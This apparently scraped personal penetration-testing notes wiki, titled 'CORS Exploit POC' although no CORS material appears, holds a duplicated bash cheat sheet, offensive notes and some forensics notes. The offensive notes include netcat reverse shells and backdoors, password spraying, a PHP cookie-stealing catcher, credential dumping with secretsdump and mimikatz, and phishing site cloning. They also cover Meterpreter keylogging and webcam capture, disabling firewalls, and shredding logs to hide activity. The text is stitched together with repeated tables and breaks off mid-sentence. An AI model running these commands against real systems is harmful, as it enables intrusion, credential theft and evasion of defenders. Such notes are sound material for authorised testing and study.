CORS Exploit POC

Command	Purpose
Command	Purpose
`GREENIE=haha; export GREENIE`	Create an environment var, then export var to be available to other programs
`PATH=$PATH:/root/haha`	adds a folder to PATH while retaining it
`sort \| uniq -c \| sort -n`	Takes `stdin`, sorts it, finds out the count of each unique value, then sorts by number
`cat squid_access.log \| sort -k 2 \| head`	Using the `sort -k` parameters sorts on the second colmun of the output
`wc -l` [lines] `wc -c` [bytes] `wc -w` [words]	Count lines/bytes/words in a file or from `stdin`
`awk '{print $1,$4}'`	Print characters 1 and 4 (not zero indexed) from `stdin`
`awk '{print $(NF-1)}'`	print the 2nd to last column
`awk '{print length, $1}'`	print the length of each line and the contents
`awk '{ sum += $1 } END { print sum }'`	Takes the lines from a file/`stdin` and adds up the values, quick and dirty calculator in terminal
`cat peptides.txt \| while read line; do echo $line; done`	read in lines from `peptides.txt`, then perform `echo` for each line. Useful to loop through commands for a list of items
`cat users.txt \| while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done`	Password spraying using a `bash` loop
`for i in {1..5}; do echo $i; done`	Loops from 1 to 5 and echos for each value of `i`
`for i in {000..999}; do echo KEY-HAHA-$i; done`	Creates a list of all values from `KEY-HAHA-000` to `KEY-HAHA-999`
`TF=$(mktemp -d)`	Create a temporary directory (i.e. `/tmp/tmp.gq9gT5U3`) and assign as an environment variable
`${#TF}`	bash will return the amount of characters in the `TF` variable
`sed 's/12/13/g'`	Replace `12` with `13` found anywhere in stdin, will replace `1234` with `1334`
`sed -i.bak '/line to delete/d' *`	Delete a line of text for all files in a directory
`xxd -p`	Print the hex of `stdin` or a file only, no hexdump format
`xxd -r`	Interpret raw hex from `stdin`, can redirect to save the hex to a file
`tr -d '\r' \| tr -d '\n' \| xxd -r -p`	Takes hex input, removes newlines, and places into a file
`find / -user Matt 2>/dev/null`	Find all files owned by `Matt` on the box, redirects `stderr` to null
`find /etc -type f --name apache2.*`	Find any file which begins with `apache2.*` in `/etc`
`grep -E "(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)"`	grep with regex to match any valid IP address (yes it's ugly)
`curl -d "param1=value&param2=value" https://example.com/resource.cgi`	Send parameters with `curl`
`date -d @1286536308`	convert an epoch timestamp to `date` output
`mknod backpipe p; /bin/bash 0<backpipe \| nc -l -p 8080 1>backpipe`	Create netcat backdoor without `-e` support. Generates a named pipe to funnel data
`tar -zcvf files.tar.gz /var/log/apache2`	Creates a `files.tar.gz` archive of all files in `/var/log/apache2`
`prips 10.10.10.0/24`	Prints all IPs in a specific subnet
`ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255`	assign an IP from terminal
`ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up`	change MAC for interface
`dhclient eth0`	request DHCP address
`dd if=./input.file of=./outfile`	make a bit-by-bit copy of a file or system
`sudo ln -s /usr/bin/python3 /usr/bin/python`	create a symbolic link for python to run python3
`sudo mkdir /mnt/new` `mount /dev/sbd1 /mnt/new` `umount /dev/sdb1`	mount/unmount a filesystem
` `sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1`	Add another default route with a higher metric to choose a different interface to access the Internet
`sudo dhclient wlan0`	Request a new DHCP lease on interface `wlan0`
`openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc`	encrypt a file with a password at the commandline
`openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt`	decrypt a file using a password at the commandline

Command

Purpose

Command

Purpose

GREENIE=haha; export GREENIE

Create an environment var, then export var to be available to other programs

PATH=$PATH:/root/haha

adds a folder to PATH while retaining it

sort | uniq -c | sort -n

Takes stdin, sorts it, finds out the count of each unique value, then sorts by number

cat squid_access.log | sort -k 2 | head

Using the sort -k parameters sorts on the second colmun of the output

wc -l [lines]

wc -c [bytes]

wc -w [words]

Count lines/bytes/words in a file or from stdin

awk '{print $1,$4}'

Print characters 1 and 4 (not zero indexed) from stdin

awk '{print $(NF-1)}'

print the 2nd to last column

awk '{print length, $1}'

print the length of each line and the contents

awk '{ sum += $1 } END { print sum }'

Takes the lines from a file/stdin and adds up the values, quick and dirty calculator in terminal

cat peptides.txt | while read line; do echo $line; done

read in lines from peptides.txt, then perform echo for each line. Useful to loop through commands for a list of items

cat users.txt | while read i; do echo trying $i; smbmap -u '$i' -p '$i' -H 10.10.10.172; done

Password spraying using a bash loop

for i in {1..5}; do echo $i; done

Loops from 1 to 5 and echos for each value of i

for i in {000..999}; do echo KEY-HAHA-$i; done

Creates a list of all values from KEY-HAHA-000 to KEY-HAHA-999

TF=$(mktemp -d)

Create a temporary directory (i.e. /tmp/tmp.gq9gT5U3) and assign as an environment variable

${#TF}

bash will return the amount of characters in the TF variable

sed 's/12/13/g'

Replace 12 with 13 found anywhere in stdin, will replace 1234 with 1334

sed -i.bak '/line to delete/d' *

Delete a line of text for all files in a directory

xxd -p

Print the hex of stdin or a file only, no hexdump format

xxd -r

Interpret raw hex from stdin, can redirect to save the hex to a file

tr -d '\r' | tr -d '\n' | xxd -r -p

Takes hex input, removes newlines, and places into a file

find / -user Matt 2>/dev/null

Find all files owned by Matt on the box, redirects stderr to null

find /etc -type f --name apache2.*

Find any file which begins with apache2.* in /etc

grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"

grep with regex to match any valid IP address (yes it's ugly)

curl -d "param1=value&param2=value" https://example.com/resource.cgi

Send parameters with curl

date -d @1286536308

convert an epoch timestamp to date output

mknod backpipe p; /bin/bash 0<backpipe | nc -l -p 8080 1>backpipe

Create netcat backdoor without -e support. Generates a named pipe to funnel data

tar -zcvf files.tar.gz /var/log/apache2

Creates a files.tar.gz archive of all files in /var/log/apache2

prips 10.10.10.0/24

Prints all IPs in a specific subnet

ifconfig eth0 169.254.0.1 netmask 255.255.0.0 broadcast 169.254.255.255

assign an IP from terminal

ifconfig eth0 down; ifconfig eth0 hw ether 00:11:22:33:44:55; ifconfig eth0 up

change MAC for interface

dhclient eth0

request DHCP address

dd if=./input.file of=./outfile

make a bit-by-bit copy of a file or system

sudo ln -s /usr/bin/python3 /usr/bin/python

create a symbolic link for python to run python3

sudo mkdir /mnt/new

mount /dev/sbd1 /mnt/new

umount /dev/sdb1

mount/unmount a filesystem

sudo route add -net default gw 10.10.0.1 netmask 0.0.0.0 dev wlan0 metric 1

Add another default route with a higher metric to choose a different interface to access the Internet

sudo dhclient wlan0

Request a new DHCP lease on interface wlan0

openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc

encrypt a file with a password at the commandline

openssl enc -aes-256-cbc -d -in file.txt.enc -out file.txt

decrypt a file using a password at the commandline

m4lwhere

Reflected XSS POST

<html> <?php file_put_contents("cookies.log", json_encode(array( "GET"=>$_GET, "POST"=>$_POST, "headers"=>getallheaders()))."\n", FILE_APPEND); ?> </html> m4lwhere@ubuntu:~/web/cookiecatcher$ php -S 0.0.0.0:8080 PHP 7.2.24-0ubuntu0.18.04.2 Development Server started at Sun Feb 23 11:45:54 2020 Listening on http://0.0.0.0:8080 Document root is /home/m4lwhere/cookiecatcher

0x90skids return_addr &xxe; addr message

. After importing we have access to all AD commands in PowerShell. ```powershell iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory ``` ### Searching Looking for files and directories. ```bash # Search the entire C:\ dir for anything with "password" in the filename. Put stderr in null where it belongs gci -recurse C:\ password 2>$null | % {echo $_.fullname} # Select-string works similar to grep select-string -path C:\Users\*.txt -pattern password # Put both together! Look in each file for the string "password" gci -recurse C:\ | % {select-string -path $_ -pattern password} 2>$null ``` ### Navigate Registry ```bash # Can navigate Reg just like the file system using tab completion cd HKLM:\ ``` Launch Browsers and reach a specific page ``` "C:\Program Files\Internet Explorer\iexplore.exe" m4lwhere.org "C:\Program Files\Mozilla Firefox\firefox.exe" m4lwhere.org ``` ### Networking Quick and dirty way to check if a port is open on a remote computer ``` New-Object System.Net.Sockets.TCPClient –Argument "10.0.0.1","389" ``` ### Speaking to the Users! This is a hilarious way to download a random cat fact and have it speak to the user through the speaker. ``` Add-Type -AssemblyName System.Speech $SpeechSynth = New-Object System.Speech.Synthesis.SpeechSynthesizer $SpeechSynth.SelectVoice("Microsoft Zira Desktop") $Browser = New-Object System.Net.WebClient $Browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $CatFact = (ConvertFrom-Json (Invoke-WebRequest -Verbose -Uri https://catfact.ninja/fact -UseBasicParsing)) $CatFact.fact $SpeechSynth.Speak("Did you know ?") $SpeechSynth.Speak($CatFact.fact) ``` # Cmd Windows cmd might be old but is still a very useful tool! | Command | Output | | --------------------------------------------------------------- | -------------------------------------------------------------------- | | `type flag.txt` | Read the output of `flag.txt` like the cat command | | `type *.txt` | Output of all `*.txt` files in current dir | | `more flag.txt` | Read one page at a time of the file | | `type flag.txt \| find /i "flag{"` | Search for a string in a file | | `type flag.txt \| findstr "flag.*$"` | Searches for a regex string in a file | | `dir /b /s C:\msbuild.exe` | search for a file named `msbuild.exe` in the `C:\` drive recursively | | `net user` | List local users | | `net localgroup` | local groups | | `net localgroup administrators` | Members of local admin group | | `net user haha lmao /add` | Adds a user named `haha` with the pw `lmao` | | `net localgroup administrators haha /add` | Adds the `haha` user to the local administrators group | | `netsh advfirewall show allprofiles` | See the config of the built-in firewall | | `netsh advfirewall set allprofiles state off` | Turn off the built in firewall | | `reg query [key name]` | Read a key | | `reg add [key name] /v [value] /t [type] /d [data]` | adding a reg key | | `net use \\10.0.0.1 lmao /u:haha` | Connect to host 10.0.0.1 on SMB for user `haha` with pwd `lmao` | | `sc query` | List all running services | | `sc query state=all` | List ALL services | | `sc qc VSS` | List information about one specific service | |

sc start VSS

sc stop VSS

| Start/stop a service | # Privilege Escalation AlwaysInstallElevated fodhelper () # Active Directory ## Attack Workflow Determine what ports are open Enumerate with * [ ] Determine open ports * [ ] Scan ports with Nmap to fingerprint * [ ] Enumerate AD information * [ ] Domain info * [ ] rpcclient * [ ] enum4linux * [ ] Get list of users * [ ] If list not available, bruteforce usernames * [ ] Determine if kerberos pre-auth exists * [ ] Determine which users have SPNs (Service Principle Names) ## enum4linux Used to enumerate a huge amount of AD information from the command line. ```bash enum4linux -a 10.1.1.10 # Attempts to enumerate everything at target enum4linux -u administrator -p password -U 10.1.1.10 # Use stolen creds to enumerate all users enum4linux -S 10.1.1.10 # Attempt to gather SMB shares ``` ## rpcclient Used to enumerate information about system over RPC Gather a list of accounts with `rpcclient` and save ``` rpcclient -U 'GOBLINS\printerldap%SecurePassword1' 10.0.0.1 -c 'enumdomusers;exit' | awk -F '[' '{print $2}' | awk -F ']' '{print $1}' > goblinUsers.txt ``` ## Password Spraying Using a tool such as Talon can run password spray attacks across an AD env ## Kerberos Kerbrute, used to run various kerberos attacks. Written in Go. ```bash ./kerbrute_linux_amd64 userenum --dc 10.10.107.154 -d spookysec.local ../userlist.txt ``` ## Kerberoasting Using a valid account on a pwned box, we can gather tickets for service accounts and extract the hash to crack. We must find all accounts in AD which have a SPN (Service Principle Name), then request RC4 tickets from the DC. ## secretsdump Used to extract hashes from a server. Below command will get NTDS.dit, assuming that you have an account with those permissions. ```bash impacket-secretsdump -just-dc backup:backup2517860@10.10.107.154 ``` ![AD Detailed Mind Map](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2F7E3kA4T4bA6RbkRYL8sX%2Fpentest_ad_black.png?alt=media\&token=636dffbf-b1ac-44a7-b39f-080122e114bc) # Bloodhound # Social Engineering Website Credential Harvesting Utilize SEToolkit to clone a website ``` Social engineering toolkit credential phishing attacks Open the SET sudo setoolkit Social Engineering Attacks (1) Website Attack Vectors (2) Credential Harvester (3) CAN utilize HTTPS with https://github.com/trustedsec/social-engineer-toolkit/issues/467 ``` we CAN use vhosts with SET and enforce Let's Encrypt certs for legitimacy CAN utilize HTTPS with Ok, register a new domain with freenom configure the vhosts grab new lets encrypt certificates-for-multiple-apache-virtual-hosts-on-ubuntu-14-04 update config at /etc/setoolkit to enable the APACHE server and update the location Ok, when cloning the site with the HTTPS cert enabled in the config, the POST requests in the php file send it over HTTP, which brings an error up in browsers saying that it's insecure. Even though the rest of the site is over HTTPS and has a good cert. Looking in the index.html file we see that there's no vhost and that it has the action for http edit lines 497 and 498 which have hardcoded apache dir in harvester.py ok yep that was def it, create a PR to fix this? update apache2 package name as well?? # Netcat & Socat Netcat rocks my socks ## Netcat ### Basics Connect to a socket on host `192.168.1.1` on TCP port 81 ```bash nc 192.168.1.1 81 ``` Listen on the local machine for inbound TCP connections on port 81 ``` nc -nvlp 81 ``` Reverse shell sent to host `10.0.0.2` over TCP port 53 ```bash nc 10.0.0.2 53 -e /bin/bash ``` Backdoor listening on TCP 80 set to execute cmd.exe when connected ```bash nc -nvlp 80 -e cmd.exe ``` ### More Fancy Attempt to connect to each port from 10-90 on `10.0.0.1`, don't resolve any names `-n`, don't send any data `-z`, and only wait 1 second for a connection `-w1` ```bash nc -nvzw1 10.0.0.1 10-90 ``` Netcat stops listening after the connection drops or is terminated, which can make getting another shell back annoying. Placing `nc` in a bash true loop is an easy way to work around this, use `nohup` also! ```bash while [ 1 ]; do echo “started”; nc -l -p 1234 -e /bin/sh; done ``` Netcat relay used to forward everything received by the host on TCP 4321 sent to `10.0.0.1` on TCP 8123 ```bash nc -l -p 4321 | nc 10.0.0.1 8123 ``` Create a `netcat` backdoor without `-e` support. This generates a named pipe which is used to funnel data between `bash` and `nc`. ```bash mknod backpipe p /bin/bash 0backpipe ``` ### Firewall Evasion If a specific port is blocked at the firewall, netcat can be used to pipe through authorized ports. Using the named pipe we can pipe the data thru to the nc output ```bash mknod mypipe p nc -lp 80 < mypipe | nc 127.0.0.1 22 > mypipe ssh backdoor@m4lwhere.org -p 80 # Attcker command to connect to ssh piped thru port 80 ``` ## Socat socat is a program which can be used for enhanced netcat usage. Supports SSL and forking ``` # Below command listens locally on 8080, forwards connections to 10.0.0.1:80 socat -v tcp4-listen:8080,reuseaddr,fork TCP4:10.0.0.1:80 # Listen with SSL and send to std out socat openssl-listen:8443,reuseaddr,cert=ssl.pem,verify=0,fork stdio ``` # File Transfers Netcat Move files by redirecting output ```bash nc -nvlp 8081 ``` # Metasploit Who cares if it's easy, that's the point right? ### Common Uses Using the `exploit/multi/handler` to catch reverse shells and manage several sessions. Make sure that you have the correct payload to catch. Use the `exploit/windows/smb/psexec` module with known credentials to create easy meterpreter sessions to pivot and exploit further. Can set the `SERVICE_FILENAME` option to remove the random garbage used, because its suspicious (using something like `svchost` helps hide!). ### Meterpreter Payload with fancy shell, series of DLLs injected into a process memory and doesnt touch the disk, no separate process created. All comms over meterpreter are TLS encrypted unless specifically told not to. ```bash # Below adds a port fwd, localhost:1234 -> meterpreter -> 10.0.0.1:22 meterpreter > portfwd add -l 1234 -p 22 -r 10.0.0.1 # Below adds a route to move all traffic for a subnet thru meterpreter session #1 msf > route add [subnet] [netmask] [session id] msf > route add 10.0.1.0 255.255.255.0 1 # routes thru session 1 for 10.0.1.0/24 msf > route add 10.0.0.5 255.255.255.255 1 # routes thru session 1 for host 10.0.0.5 ``` #### Managing Meterpreter Sessions Sessions are managed with the `sessions -l` command. Channels inside of sessions are managed with `channels -l` command. Upgrade existing shells with the `sessions -u 1` command. `CTRL-Z` will background a channel or session Load additional modules using `use [module name]` #### Mimikatz in Meterpreter We can load mimikatz directly into a running meterpreter session, giving us serious power. Need to be running as `SYSTEM`, and we need to make sure the process we're in is the same architecture as the host. Check if we're in matching arch types with `sysinfo`. Check the `Architecture` and `Meterpreter` info to make sure they match. If we need to move, check which running processes have the correct arch and are running as `SYSTEM` also with `ps -A x64 -s`, then we can move with `migrate [PID]`. Validate the arch and meterpreter types match with `sysinfo` again. Now we can import the mimikatz module with `load kiwi`. Running `help` will show our new mimikatz commands we can use. Using `creds_all` will dump all available hashes and plaintext passwords! #### Meterpreter Commands | Command | Function | | ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------- | | `help` | shows all available commands | | `sysinfo` | Shows computer name, OS, and kernel information | | `shell` | Launch a command shell on the host | | `getpid` | show process ID of current meterpreter process | | `getuid` | shows current user ID meterpereter is running under | | `ps` | get list of processes | | `migrate` | attempts to move to a different process ID | | `cd` / `lcd` | change dir, local change dir | | `ls` / `lls` | list contents, local list contents | | `download` | download a file from the machine | | `upload` | upload a file to the machine | | `edit` | edit a file using vi or nano | | `ipconfig` | show host networking information | | `route` | displays, adds, or deletes host routing table | | `portfwd` | forwards traffic to a different location as a TCP relay | | `creds_all` | Mimikatz meterpreter module as kiwi | | `hashdump` | gather hashes from host memory, requires SYSTEM privs | | `run hashdump` | Pulls from the registry (SAM and Syskey) | | `run post/windows/gather/smart_hashdump` | Gathers from the disk NTDS.dit and SAM | | `run post/windows/gather/hashdump` | Pulls from registry (SAM and Syskey) | | `screenshot -p /tmp/screen.jpg` | grabs a screenshot of the desktop | | `uictl` | Turn user devices on or off | |

webcam\_list

webcam\_snap

| Take control of a webcam available to the host | |

keyscan\_start

keyscan\_dump

keyscan\_stop

| Keystroke logger to gather information as its typed | ### Arsenal Modular combination of scanners, exploits, payloads, and post modules. | User Interface | Purpose | | -------------- | -------------------------------------------------------------------------------- | | `msfconsole` | Basic MSF prompt for exploitation | | `msfd` | Daemon listening on TCP 55554 allowing msfconsole access to anyone that connects | | `msfrpcd` | XMLRPC controlled MSF, default TCP 55553 using SSL | | `msfcli` | MSF with all options specified in a single command, useful for scripting | | `msfvenom` | Used to generate malicious payloads and binaries | ### Modules | Module Name | Purpose | | ----------- | ---------------------------------------------------------- | | `auxiliary` | Port scanners, DoS tools, login checks, etc | | `encoders` | Convert exploits and payloads to attempt to bypass filters | | `exploits` | Exploits used to attack a system | | `nops` | Create NOP sleds | | `payloads` | Huge list of payloads based on system and type | | `post` | Post-exploitation modules to futher exploit a system | ### Troubleshooting Having issues importing a module? make sure that you check the logs at `~/.msf4/logs/framework.log` # Writing Modules Modules can be written much easier that you think. ### References [Metasploit Class List and Methods](https://www.rubydoc.info/github/rapid7/metasploit-framework/master/Msf/Module/UI/Message) [Example webapp module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_webapp.rb) [Walkthru on creating and submitting a module](https://github.com/rapid7/metasploit-framework/wiki/Get-Started-Writing-an-Exploit) # PS Empire PowerShell Empire used to manage C2 nodes ## Install Install for kali via apt using: ```bash sudo apt install powershell-empire ``` ## Starting the Server Once installed, you must run the server before we can connect clients. The clients are used to connect to the server to interact and generate payloads. Must be run with sudo! ```bash sudo powershell-empire server ``` ## Connect to the server Connect to the server using a client with the command below. This allows us to generate payloads. By default, this will try to connect to localhost. ```bash powershell-empire client ``` ## Creating a Listener We must have a listener active before we can generate a stager. # Priv Escalation LinPEAS, WinPeas, linux-exploit-suggester ```bash sudo -l # List permissions in sudo sudo -l -l # List allowed sudo commands wsl -u root visudo # Fix broken WSL sudo file ``` Find writable directories available to current user ``` find / -type d -perm 0222 2>/dev/null ``` # Post Exploitation Ok, now what do we do?? Kill shell without saving history file ```bash kill -9 $$ # The $$ var always returns the PID of running shell HISTSIZE=0 # Prevent system from storing any entered commands PATH=$PATH:/root/newhackingtool # Adds new folder to path, preserves existing path shred -f -n 10 /var/log/auth.log.* # shread all auth logs ten times :) service rsyslog stop # disable all system logging ``` # Pivoting ## SSH Local Port Forwarding Forwarding one port on the client system to exactly one port accessible from the SSH pivot server. It's still confusing no matter how many times I read it. ```bash # Below sets up local port 8123 forwarded thru victim to reach port 80 on target.local ssh -L 8123:target.local:80 pwner@victim curl localhost:8123 attacker:8123 -> 10.0.0.1:22 -> 10.0.0.5:80 # Below creates a tunnel with the established private key. Creates tunnel on https://localhost:4443 sudo ssh -i ~/.ssh/id_rsa -X -Y -C -g -L 4443:1.1.1.1:443 kali@2.2.2.2 # Below forwards a port on the victim localhost to be accessible (i.e. MySQL for localhost only) ssh -L 3306:localhost:3306 pwnt@victim mysql -u root -p ``` ## SSH Dynamic Port Forwarding SOCKS Proxy used to forward several ports. Can use `proxychains` to help non-proxy aware programs to reach the intended destination. Do not try to port scan through a SOCKS proxy, it is VERY SLOW!! ```bash ssh -D 9123 pwnt@victim ``` ## SSH Remote Port Forwarding A port on the pivot system is forwarded to a local port, not commonly used. ```bash ssh -R :8123:localhost:80 ssh -R :8000:www.google.com:80 ``` ## Meterpreter/MSF Forwarding Can use built in mechanisms in meterpreter/msf to port forward or route easily ```bash # Cmd below will create a local port on 0.0.0.0:4321 to reach target:80 meterpreter > portfwd add -l 4321 -r target -p 80 ``` ## Socat We can use socat to forward to new machines easily ``` # Below command listens locally on 8080, forwards connections to 10.0.0.1:80 socat -v tcp4-listen:8080,reuseaddr,fork TCP4:10.0.0.1:80 ``` ## IPtables Iptables can be used to forward connections if we have root level access ``` # Must enable IP forwarding sudo sysctl net.ipv4.ip_forward=1 # or do the following... sudo echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf # Now we can redirect... iptables -t nat -A PREROUTING -p tcp -dport 1234 -j DNAT --to-destination 10.0.0.1:80 ``` ## Windows Portproxy This is a lesser-known function of `netsh` where we can redirect ports on a windows box ``` # Listen on 8123 and forward connections to 10.0.0.1:80 netsh interface portproxy add v4tov4 listenport=8123 connectport=80 connectaddress=10.0.0.1 # To view existing portproxy commands: netsh interface portproxy show all ``` ## Ngrok We can use ngrok to forward our own local connections to exploited machines # Certs and Secrets how to generate and analyze certificates Searching for key material (keymat) within many files. ### Tools sshgit gitleaks (docker container) wget -r (recursively download an exposed .git directory) ### Git git branch git log git checkout \ \ git show # NGROK Using ngrok to access internal services ### Purpose Ngrok allows us to share internal services to Internet facing systems. It's an incredibly useful way to access internal systems or create a way to directly access sensitive network systems. ### Setup Visit [ngrok.com](https://ngrok.com) to get set up with an account. Download the tool at [`https://ngrok.com/download`](https://ngrok.com/download) Configure the ngrok preferences with the applicable key ``` ngrok config add-authtoken ***REDACTED KEY*** ``` ### Usage As always, we ask for help to learn what to do. `ngrok help` To start a listener, we can simply run the code below: `ngrok http 9999` This will result in a window similar to below: ![After starting the listener, this shows the web interface to reach the internal port](https://15634114-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MUBcWDIntFMCfIaMka5%2Fuploads%2FjmisW7ELFp3bbykCKzD5%2F123.png?alt=media\&token=2f0e45a9-a30a-4646-8d82-1d5994cc8c77) In the example above, we can directly access the service on localhost:9999 by accessing the page at [`https://7807-52-22-69-233.ngrok.io`](https://7807-52-22-69-233.ngrok.io). This was a python3 simple http server on that port. ``` EXAMPLES: ngrok http 80 # secure public URL for port 80 web server ngrok http -subdomain=baz 8080 # port 8080 available at baz.ngrok.io ngrok http foo.dev:80 # tunnel to host:port instead of localhost ngrok http https://localhost # expose a local https server ngrok tcp 22 # tunnel arbitrary TCP traffic to port 22 ngrok tls -hostname=foo.com 443 # TLS traffic for foo.com to port 443 ngrok start foo bar baz # start tunnels from the configuration file ``` # Misc. Unicode Spoofing ``` m4lwhere # Plain latin characters ⅿ4lѡһеrе # Adding unicode characters to spoof ``` {% embed url="" %} {% embed url="" %} {% embed url="" %} # Defensive Notes Collection of defensive notes gathered throughout many years of CTFs and personal research Most common bits used # Windows Forensics Windows Subsystem for Linux stores all linux files at ```bash \\wsl$\ ``` # Program Execution Artifacts # ASEP Locations # Event Logs # Linux Forensics Accounting entries: * utmp * Info about currently logged in users * wtmp * Data about past user logins * btmp * Bad login entries for failed login attempts * lastlog * Shows login name, port, and last login time for each user # Network Forensics Packet Capture (PCAP) files capture live network traffic to a file for deep analysis. PCAP files contain all bytes captured and can be used to reconstruct entire TCP, UDP, and other data streams. ## Programs and Tools There are several different programs that can be used to analyze a pcap file, the most ubiquitous prorgam is none other than [**Wireshark**](https://www.wireshark.org/). Wireshark is a GUI based pcap analysis and capture program which makes gathering and analyzing captures a breeze. Wireshark also has tons of built-in protocol dissectors which help analyze and present raw bytes in human a readable and digestible format. [**Tshark**](https://www.wireshark.org/docs/man-pages/tshark.html) is a terminal based program provided by Wireshark which brings the power of the terminal to Wireshark's framework. When paired with simple bash scripting and display filters, Tshark creates an unbelievably powerful analysis tool. [**Scapy**](https://scapy.net/) is a python based packet manipulation library which is another powerful tool. Scapy is useful to craft packets, but can also be used to analyze capture files as well. Since this library is python based, it can be used to create robust networking programs. [**Tcpdump**](https://www.tcpdump.org/) is a classic network capture and monitoring tool which uses the Berkley Packet Filter (BPF) syntax. ## Analysis Now this is where the rubber meets the road. It's all fun and games to have a pcap file, but if you can't analyze it then the pcap is worthless. Opening the file in Wireshark we can see all sorts of colors, each one is for a different protocol or specific TCP flag. Right clicking on a packet, we can choose `Follow > TCP Stream` to see the data transferred over a TCP connection. ![Follow a TCP stream in Wireshark](https://i.imgur.com/c8Mnndb.png) We will be presented with the data transferred over this specific TCP stream, and if it's plaintext, be able to easily read what's happening. In this specific stream, we can watch a user log into an FTP session and put his password in. Pretty cool! ![This shows the login and password used for this FTP server](https://i.imgur.com/DwEDSzy.png) There's plenty more to find in pcap, this is simply a primer. Get out there and find it! # tshark `tshark` is used to perform packet analysis at the terminal and provides a ton of insanely powerful capabilities. The command below will take a pcap file as input, limit to only IP 192.168.1.1 sending ICMP packets, then extract any data carried over ICMP. We can then perform additional analysis on all of the data. ```bash tshark -r packets.pcap -Y "ip.src == 192.168.1.1 && ICMP" -T fields -e data.data ``` Quick analysis and easy to analyze packets ```bash tshark -i eth0 -w packets.pcap # Capture all packets on eth0 and save to packets.pcap tshark -r packets.pcap -c10 # Read the first 10 packets from packets.pcap tshark -xr packets.pcap # Display all packets in hexdump (ASCII) format from file tcpdump -Xr packets.pcap # Similar to above command, just in tcpdump instead ``` Summary Statistics ```bash tshark -z help # Get help for statistics tshark -r packets.pcap -z conv,ip # Stats about IP conversations in pcap tshark -r packets.pcap -z http,tree # Breakdown of HTTP requests and responses tshark -r http.pcap -z follow,tcp,ascii,0 # Follows the stream of TCP 0 displayed in ASCII, similar to GUI tshark -r packets.pcap -z follow,udp,ascii,10.1.1.1:52344,10.1.1.2:53 # Follow a UDP stream # Additional fun statistical options ip_hosts,tree # Display every IP in capture with stats io,phs # Protocol hierarchy showing all protocols found in capture http,tree # Stats for HTTP requests and responses http_req,tree # Stats for HTTP requests only smb,srt # Stats for SMB to analyze Windows activity endpoints,wlan # Displays all wireless endpoints expert # Shows all expert info, chats & errors and stuff ``` Timestamp format ```bash tshark -r packets.pcap -t ad # Absolute time (in local time zone) with date tshark -r packets.pcap -t ud # Absolute time (UTC) with date packet was captured tshark -r packets.pcap -t e # Epoch time ``` # Wireshark Filters Filters can be used by wireshark to limit the amount of items identified in a capture. Filters are displayed with comparison operators | Operator | Comparison | | ---------- | ---------------------------- | | `==` | equals | | `!=` | not equal | | `>` | greater than | | `<` | less than | | `>=` | greater than or equal | | `<=` | less than or equal | | `contains` | value is inside of the field | | `matches` | regex matching for a field | | `&&` | and | | `\|\|` | or | | `!` | not | # Memory Forensics Gathering and analyzing memory images ## Gathering Memory There are a handful of different tools which can be used to gather memory. Some of these include: * winpmem () * `winpmem_mini_x64.exe physmem.raw` * procdump () * FTK Imager ### IMPORTANT WHEN GATHERING MEMORY Always make sure that the OS information is gathered in conjuction with the image information! This can be achieved on windows machines with the `ver` command. After, we can `grep` for the version information through the `vol.py --info` output. ## Analyzing Memory Volatility is one of the most common tools to use in memory investigations. {% embed url="" %} Keep in mind that the current release of Volatility still uses Python 2, and the newest version of volatility is still in beta. ### Volatility Usage `./vol.py -f [image file] --profile [profile] [plugin]` In order to use this effectively, we need to know the profile of the memory image before we can analyze it properly. This is because each separate version of OS, including minor releases, can have drastically different locations in memory where objects are stored. The following env vars can be set to speed up the usage of Volatility and prevent having to type in the file location and profile info for each run. * `VOLATILITY_LOCATION` * `VOLATILITY_PROFILE` ### Common Plugins | Plugin | Purpose | | ------------- | ------------------------------------------------------------------ | | `-h [plugin]` | Learn plugin options for individual plugin | | `--info` | List all available plugins | | `imageinfo` | Attempt to determine OS of image (slow) | | `kdbgscan` | Attempt to determine OS of image (slow) | | `pslist` | List system processes | | `pstree` | List processes in a tree format, showing parents and relationships | | `psscan` | Search for potentially hidden processes | | `netscan` | Search for active and listening sockets | | `userassist` | Track program usage from GUI | | `cmdline` | Identify command line for processes which were running | | `printkey` | Print the output of a registry key | | `svcscan` | List services on the system | | `dlllist` | List DLLs for each process | ## References {% embed url="" %} # Stego Images `convert in.png -alpha off out.png` to remove transparency from an image # Malware Analysis # Volatility # Scope and Shared Responsibility Shared responsibility is the concept for determining who is in charge of certain areas in a cloud platform. AWS operates, manages and controls the components from the host operating system and virtualization layer down to the physical security of the facilities in which the service operates. The customer assumes responsibility and management of the guest operating system (including updates and security patches), other associated application software as well as the configuration of the AWS provided security group firewall. ![Example of AWS shared 